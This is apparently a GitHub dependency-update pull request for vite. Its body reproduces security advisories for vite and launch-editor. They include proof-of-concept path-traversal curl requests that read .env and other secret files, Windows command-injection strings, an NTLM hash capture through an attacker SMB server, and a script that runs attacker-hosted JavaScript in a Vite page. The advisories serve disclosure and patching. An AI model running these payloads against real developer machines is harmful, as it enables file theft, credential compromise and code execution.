You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Repository navigation
chore(deps): update dependency vite to v8 [security] - #12560
appType: 'spa' (default) or appType: 'mpa' is used
This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.
Details
The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.
PoC
Execute the following shell commands:
npm create vite@latest
cd vite-project/
echo "secret" > /tmp/secret.html
npm install
npm run dev
Then, in a different shell, run the following command:
The contents of /tmp/secret.html will be returned.
This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:
echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})' > [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev
Then, in a different shell, run the following command:
The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.
In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.
Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).
PoC
Execute the following shell commands:
npm create vite@latest
cd vite-project/
mkdir p
cd p
ln -s a b
cd ..
echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js
echo "secret" > private.txt
npm install
npm run dev
Then, in a different shell, run the following command:
server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is that fs.readFile('/foo.png/') loads /foo.png.
PoC
npm create vite@latest
cd vite-project/
cat "secret"> .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173
have a sensitive content in files ending with .map and the path is predictable
Details
In Vite v7.3.1, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON.
PoC
Create a minimal PoC sourcemap outside the project root
Due to the insufficient sanitization of the file argument in the launchEditor, an attacker can execute arbitrary commands on Windows by supplying a filename that contains special characters.
Impact
If the following conditions are met, an attacker can execute arbitrary commands on the computer that is using the launch-editor:
An attacker can place a file with the malicious filename
An attacker can call the launchEditor method with the file argument controlled
The launch-editor package is running on Windows
For example, some development server using this package satisfy these conditions, as a malicious website might be able to force the downloading of a file and the path of that file is predictable.
Patch
This issue has been fixed in the launch-editor version 2.9.0 (commit).
the sensitive file exists in the allowed directories specified by server.fs.allow
either of:
the sensitive file exists in an NTFS volume
the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)
Details
Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.
Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.
PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
Access via browser at http://localhost:5173/.env::$DATA?raw
Example expected result:
/.env::$DATA?raw returns the contents of .env
/tls.pem::$DATA?raw returns the contents of tls.pem
The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.
Impact
If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:
the user accesses the attackers website that sends request to a middleware using launch-editor
the server that has the middleware using launch-editor is running
the attacker knows the URL for that server and the middleware
This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.
Details
launch-editor accepts file paths without validating or restricting Windows UNC paths such as:
\\attacker-host\share
On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.
If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.
The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.
PoC
From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.
First, let's create a directory to serve as an SMB share.
Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).
Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.
Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.
launch-editor did not escape % on Windows when passing an argument to cmd. When an environment variable contained a malicious value, it was possible that that content to be executed.
Impact
Only apps that match all of the following conditions are affected:
The user uses Windows
An attacker can place a file with the malicious filename containing & or %
Either of
An attacker can inject an environment variable with a malicious value
An attacker can add a NTFS alternate data stream to the file placed
Details
Unlike .sh files, .bat / .cmd files on Windows cannot be called directly using child_process.spawn and requires passing them as an argument of cmd.exe. To do so, launch-editor escapes the arguments passed to cmd.exe. But launch-editor did not escape % which is used for environment variables.
Because launch-editor checks if the argument matches an existing filename, the attack requires the attacker to be able to place a file.
If the attacker can inject an environment variable as well, they can include the subcommand in the env variable (e.g. set &calc.exe to %ENV%) and call launchEditor with something%ENV%.
If the attacker can place a NTFS alternate data stream to the file (e.g. a NTFS alternate data stream named ~-38%calc.exe), they can call launchEditor with something %CMDCMDLINE:~-38%calc.exe.
If the attacker can create a filename containing the %CD% and the subcommand (e.g. &calc.exe ), they can call launchEditor with ./%CD%
launch-editor checked fs.existsSync(fileName) before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in \\..:line:column. This removes the requirement that the attacker be able to place a file with a malicious filename.
Combined with the % escaping issue described in GHSA-698v-4r3x-3vcv, this bypass can lead to OS command injection when an attacker controls the file argument.
Impact
Only apps that runs on Windows is affected.
Details
The earlier advisory assumed that fs.existsSync() required an attacker-controlled filename to exist. This advisory covers a bypass of that requirement.
A crafted value ending in \\..:1:1 is interpreted differently by launch-editor-middleware, launch-editor, and Windows:
launch-editor-middleware calls path.resolve() while the final path component is ..:1:1, so it is not treated as a parent-directory component.
launch-editor treats :1:1 as a line-and-column suffix and removes it, leaving a path ending in \\...
On Windows, fs.existsSync() accepts the resulting path as the existing parent directory even though the attacker-controlled preceding component does not exist.
Because the existence check passes, the crafted filename reaches the Windows shell command.
launch-editor forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution.
Impact
Direct launch-editor users
Only apps that match all of the following conditions are affected:
The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
The user uses or the app specifies any of the following editors:
Vim (including gVim)
MacVim
Emacs (including Emacsclient)
Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
The first argument of launchEditor can start with + or - or the user is using WSL
launch-editor-middleware users
Only apps that match the following conditions are affected:
The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
The user uses or the app specifies any of the following editors:
Vim (including gVim)
MacVim
Emacs (including Emacsclient)
Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
launch-editor older than v2.2.0 is used, or the user is using WSL
Vite users
Only apps that match the following conditions are affected:
The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
The user uses or the app specifies any of the following editors:
Vim (including gVim)
MacVim
Emacs (including Emacsclient)
Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
The user is using WSL
Details
launchEditor(file) function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with - (also + for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with + as an Ex command. As a result, an existing relative directory such as:
is not treated as a filename when passed to Vim. Vim executes the embedded Ex command.
The following editor has a potentially destructive operation exposed to the CLI arguments:
Vim (including gVim)
MacVim
Emacs (including Emacsclient)
Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
launch-editor-middleware v2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL, launch-editor converts the paths to relative paths internally, so those are still affected.
Vite 2.0.0+ uses launch-editor-middleware v2.2.0+ so the WSL users are only affected.
The content of files outside server.fs setting can be returned to the browser if the project imports a file path concatenated with the root. For example, if the project references <path-to-project-root>/etc/hosts, the content of /etc/hosts was possible to be returned.
The content of files outside the server.fs.allow option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing <project-root>/etc/hosts could make Vite return the host's /etc/hosts file.
Impact
Only apps that meet all of the following conditions are affected:
explicitly expose the Vite dev server to the network (using --host or the server.host option)
contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host
When Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as /etc/hostname. In affected versions, Vite converts that URL with fsPathFromUrl and adds the result to safeModulePaths. Because fsPathFromUrl ensures a leading slash without resolving the URL against the project root, the project URL /etc/hostname is recorded as if it were the absolute filesystem path /etc/hostname.
For a later request to /@fs/etc/hostname, the raw-filesystem middleware interprets /etc/hostname as an absolute path. The access check applies server.fs.deny, then accepts paths present in safeModulePaths before checking server.fs.allow. As a result, the request can return the host file instead of the project file that originally populated safeModulePaths.
PoC
The following example requires Linux with a readable /etc/hostname:
When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.
Impact
Only apps that match the following conditions are affected:
the dev server passes an unchanged browser request URL to server.transformIndexHtml: this is normally used for server.middlewareMode: true or appType: 'custom'. The internal call for appType: 'spa' and appType: 'mpa' does not match this.
the transformed HTML contains an inline module script
from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions
Details
Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:
Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.
The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.
PoC
import{createServerascreateHttpServer}from'node:http'import{createRequire}from'node:module'import{dirname,join}from'node:path'import{fileURLToPath,pathToFileURL}from'node:url'constdirectory=dirname(fileURLToPath(import.meta.url))constrequire=createRequire(join(directory,'package.json'))const{ chromium }=require('playwright-chromium')constviteModule=awaitimport(pathToFileURL(require.resolve('vite')).href)constcreateViteServer=viteModule.createServer??viteModule.default.createServer// This loopback server stands in for a separately hosted attacker website.constattackerPort=4173constexploitPath=`//127.0.0.1:${attackerPort}/payload.js?/../../package.json`consthtml='<script type="module">document.body.textContent = "Vite app"</script>'constlisten=(server,port=0)=>newPromise((resolve,reject)=>{server.once('error',reject)server.listen(port,'127.0.0.1',()=>{server.off('error',reject)resolve(server.address().port)})})constclose=(server)=>newPromise((resolve,reject)=>{server.close((error)=>(error ? reject(error) : resolve()))})letattackerRequest=nullconstattacker=createHttpServer((request,response)=>{attackerRequest=request.urlresponse.writeHead(200,{'access-control-allow-origin': '*','content-type': 'text/javascript',})response.end("document.documentElement.dataset.viteXssPoc = 'executed'",)})constvite=awaitcreateViteServer({appType: 'custom',configFile: false,root: directory,server: {hmr: false,middlewareMode: true,watch: null,},})constapplication=createHttpServer((request,response)=>{vite.middlewares(request,response,async(error)=>{if(error){response.destroy(error)return}try{consttransformed=awaitvite.transformIndexHtml(request.url,html)response.writeHead(200,{'content-type': 'text/html'})response.end(transformed)}catch(transformError){response.destroy(transformError)}})})awaitlisten(attacker,attackerPort)constapplicationPort=awaitlisten(application)constbrowser=awaitchromium.launch({headless: true})try{constpage=awaitbrowser.newPage()awaitpage.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)awaitpage.waitForFunction(()=>document.documentElement.dataset.viteXssPoc==='executed',)console.log(`attacker request: ${attackerRequest}`)console.log('JavaScript from the attacker server executed in the Vite page')}finally{awaitbrowser.close()awaitclose(application)awaitvite.close()awaitclose(attacker)}
Observed output on Vite 8.2.1:
attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page
Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.
This PR includes no changesets
When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
dependenciesPull requests that update a dependency file
0 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Note
This PR body was truncated due to platform limits.
This PR contains the following updates:
^4.5.14→^8.3.6Vite's
server.fssettings were not applied to HTML filesCVE-2025-58752 / GHSA-jqfw-vq24-v9c3
More information
Details
Summary
Any HTML files on the machine were served regardless of the
server.fssettings.Impact
Only apps that match the following conditions are affected:
appType: 'spa'(default) orappType: 'mpa'is usedThis vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.
Details
The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.
PoC
Execute the following shell commands:
Then, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'The contents of /tmp/secret.html will be returned.
This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:
Then, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'You will receive a 403 HTTP Response, because everything in the secret_files directory is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'You will receive the contents of secret_files/secret.html.
Severity
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Vite middleware may serve files starting with the same name with the public directory
CVE-2025-58751 / GHSA-g4jq-h2w9-997c
More information
Details
Summary
Files starting with the same name with the public directory were served bypassing the
server.fssettings.Impact
Only apps that match the following conditions are affected:
server.hostconfig option)Details
The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.
In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.
Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).
PoC
Execute the following shell commands:
Then, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/private.txt'You will receive a 403 HTTP Response, because private.txt is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/../private.txt'You will receive the contents of private.txt.
Related links
Severity
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
vite allows server.fs.deny bypass via backslash on Windows
CVE-2025-62522 / GHSA-93m4-6634-74q7
More information
Details
Summary
Files denied by
server.fs.denywere sent if the URL ended with\when the dev server is running on Windows.Impact
Only apps that match the following conditions are affected:
server.hostconfig option)Details
server.fs.denycan contain patterns matching against files (by default it includes.env,.env.*,*.{crt,pem}as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is thatfs.readFile('/foo.png/')loads/foo.png.PoC
Severity
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Vite Vulnerable to Path Traversal in Optimized Deps
.mapHandlingCVE-2026-39365 / GHSA-4w7w-66w2-5vf9
More information
Details
Summary
Any files ending with
.mapeven out side the project can be returned to the browser.Impact
Only apps that match the following conditions are affected:
--hostorserver.hostconfig option).mapand the path is predictableDetails
In Vite v7.3.1, the dev server’s handling of
.maprequests for optimized dependencies resolves file paths and callsreadFilewithout restricting../segments in the URL. As a result, it is possible to bypass theserver.fs.strictallow list and retrieve.mapfiles located outside the project root, provided they can be parsed as valid source map JSON.PoC
/@fsaccess is blocked bystrict(returns 403)../segments under the optimized deps.mapURL prefix to reach/tmp/poc.mapSeverity
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
launch-editor vulnerable to command injection via the crafted request on Windows
CVE-2024-52011 / GHSA-c27g-q93r-2cwf
More information
Details
Summary
Due to the insufficient sanitization of the
fileargument in thelaunchEditor, an attacker can execute arbitrary commands on Windows by supplying a filename that contains special characters.Impact
If the following conditions are met, an attacker can execute arbitrary commands on the computer that is using the
launch-editor:launchEditormethod with thefileargument controlledlaunch-editorpackage is running on WindowsFor example, some development server using this package satisfy these conditions, as a malicious website might be able to force the downloading of a file and the path of that file is predictable.
Patch
This issue has been fixed in the
launch-editorversion 2.9.0 (commit).Severity
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
vite:
server.fs.denybypass on Windows alternate pathsCVE-2026-53571 / GHSA-fx2h-pf6j-xcff
More information
Details
Summary
The contents of files that are specified by
server.fs.denycan be returned to the browser on Windows.Impact
Only apps that match the following conditions are affected:
--hostorserver.hostconfig option)server.fs.allowDetails
Vite’s dev server denies direct access to sensitive files through
server.fs.deny, including entries such as.env,.env.*, and*.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.Because of this, requests such as
/.env::$DATA?raware treated as allowed paths, while Windows resolves them to the original file's default data stream.Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.
PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run devAccess via browser at
http://localhost:5173/.env::$DATA?rawExample expected result:
/.env::$DATA?rawreturns the contents of.env/tls.pem::$DATA?rawreturns the contents oftls.pemSeverity
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows
CVE-2026-53632 / GHSA-v6wh-96g9-6wx3
More information
Details
Summary
The
launch-editorNPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.Impact
If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the
launch-editor:launch-editorlaunch-editoris runningThis would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.
Details
launch-editoraccepts file paths without validating or restricting Windows UNC paths such as:On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.
If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.
The attacker could target a developer that uses a development server using
launch-editorto develop code locally, send them a link and grab their NTLMv2 hash.PoC
From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use
smbserver.pyhere.First, let's create a directory to serve as an SMB share.
Then, start the SMB server.
Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (
vite).Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use
curlto achieve the same.Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of
smbserver.pyand see the NTLMv2 hash coming in.Severity
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:HReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
launch-editor: escapeCmdArgs() omits % escaping on Windows
CVE-2026-112943 / GHSA-698v-4r3x-3vcv
More information
Details
Summary
launch-editordid not escape%on Windows when passing an argument tocmd. When an environment variable contained a malicious value, it was possible that that content to be executed.Impact
Only apps that match all of the following conditions are affected:
&or%Details
Unlike
.shfiles,.bat/.cmdfiles on Windows cannot be called directly usingchild_process.spawnand requires passing them as an argument ofcmd.exe. To do so, launch-editor escapes the arguments passed tocmd.exe. Butlaunch-editordid not escape%which is used for environment variables.Because
launch-editorchecks if the argument matches an existing filename, the attack requires the attacker to be able to place a file.&calc.exeto%ENV%) and calllaunchEditorwithsomething%ENV%.~-38%calc.exe), they can calllaunchEditorwithsomething %CMDCMDLINE:~-38%calc.exe.%CD%and the subcommand (e.g.&calc.exe), they can calllaunchEditorwith./%CD%Severity
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
launch-editor:
fs.existsSync()existence check can be bypassed on WindowsCVE-2026-112942 / GHSA-587h-7wmj-h5pm
More information
Details
Summary
launch-editorcheckedfs.existsSync(fileName)before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in\\..:line:column. This removes the requirement that the attacker be able to place a file with a malicious filename.Combined with the
%escaping issue described in GHSA-698v-4r3x-3vcv, this bypass can lead to OS command injection when an attacker controls the file argument.Impact
Only apps that runs on Windows is affected.
Details
The earlier advisory assumed that
fs.existsSync()required an attacker-controlled filename to exist. This advisory covers a bypass of that requirement.A crafted value ending in
\\..:1:1is interpreted differently bylaunch-editor-middleware,launch-editor, and Windows:launch-editor-middlewarecallspath.resolve()while the final path component is..:1:1, so it is not treated as a parent-directory component.launch-editortreats:1:1as a line-and-column suffix and removes it, leaving a path ending in\\...fs.existsSync()accepts the resulting path as the existing parent directory even though the attacker-controlled preceding component does not exist.Severity
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors
CVE-2026-112944 / GHSA-r825-w8mm-5pxw
More information
Details
Summary
launch-editorforwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution.Impact
Direct
launch-editorusersOnly apps that match all of the following conditions are affected:
+or-in the working directorylaunchEditorcan start with+or-or the user is using WSLlaunch-editor-middlewareusersOnly apps that match the following conditions are affected:
+or-in the working directoryVite users
Only apps that match the following conditions are affected:
+or-in the working directoryDetails
launchEditor(file)function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with-(also+for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with+as an Ex command. As a result, an existing relative directory such as:is not treated as a filename when passed to Vim. Vim executes the embedded Ex command.
The following editor has a potentially destructive operation exposed to the CLI arguments:
launch-editor-middlewarev2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL,launch-editorconverts the paths to relative paths internally, so those are still affected.Vite 2.0.0+ uses
launch-editor-middlewarev2.2.0+ so the WSL users are only affected.Severity
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Vite: Files outside
server.fs.allowcould be served when project paths match system paths on non-Windows machineCVE-2026-112946 / GHSA-rq7h-c2jc-7f22
More information
Details
Summary
The content of files outside
server.fssetting can be returned to the browser if the project imports a file path concatenated with theroot. For example, if the project references<path-to-project-root>/etc/hosts, the content of/etc/hostswas possible to be returned.The content of files outside the
server.fs.allowoption can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing<project-root>/etc/hostscould make Vite return the host's/etc/hostsfile.Impact
Only apps that meet all of the following conditions are affected:
--hostor theserver.hostoption)server.fs.denyDetails
When Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as
/etc/hostname. In affected versions, Vite converts that URL withfsPathFromUrland adds the result tosafeModulePaths. BecausefsPathFromUrlensures a leading slash without resolving the URL against the project root, the project URL/etc/hostnameis recorded as if it were the absolute filesystem path/etc/hostname.For a later request to
/@fs/etc/hostname, the raw-filesystem middleware interprets/etc/hostnameas an absolute path. The access check appliesserver.fs.deny, then accepts paths present insafeModulePathsbefore checkingserver.fs.allow. As a result, the request can return the host file instead of the project file that originally populatedsafeModulePaths.PoC
The following example requires Linux with a readable
/etc/hostname:In another terminal:
Severity
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Vite: Cross origin script execution through Vite custom middleware
CVE-2026-112945 / GHSA-9jrq-w75r-8gcw
More information
Details
Summary
When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.
Impact
Only apps that match the following conditions are affected:
server.transformIndexHtml: this is normally used forserver.middlewareMode: trueorappType: 'custom'. The internal call forappType: 'spa'andappType: 'mpa'does not match this.Details
Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:
For a development server at
http://localhost:5173, an attacker can send this URL:In Vite 8.2.1,
createDevHtmlTransformFnandgetHtmlFilenameinindexHtml.tsuse the request URL as both the transformpathand the input topath.join. The value passed topath.joinstill includes its query text.Chromium preserves
/../../package.jsonbecause it follows?and is therefore query text. Vite treats the same characters as filesystem path components, so the..components resolve the derived filename to the existing projectpackage.json.The existing file branch in
indexHtml.tschecks that filename withfs.existsSync, then preserves thehtmlPathsupplied by the attacker asproxyModuleUrl. The inline module rewrite in the same file writes that value into the generatedsrc:The generated value is a valid URL. Its leading
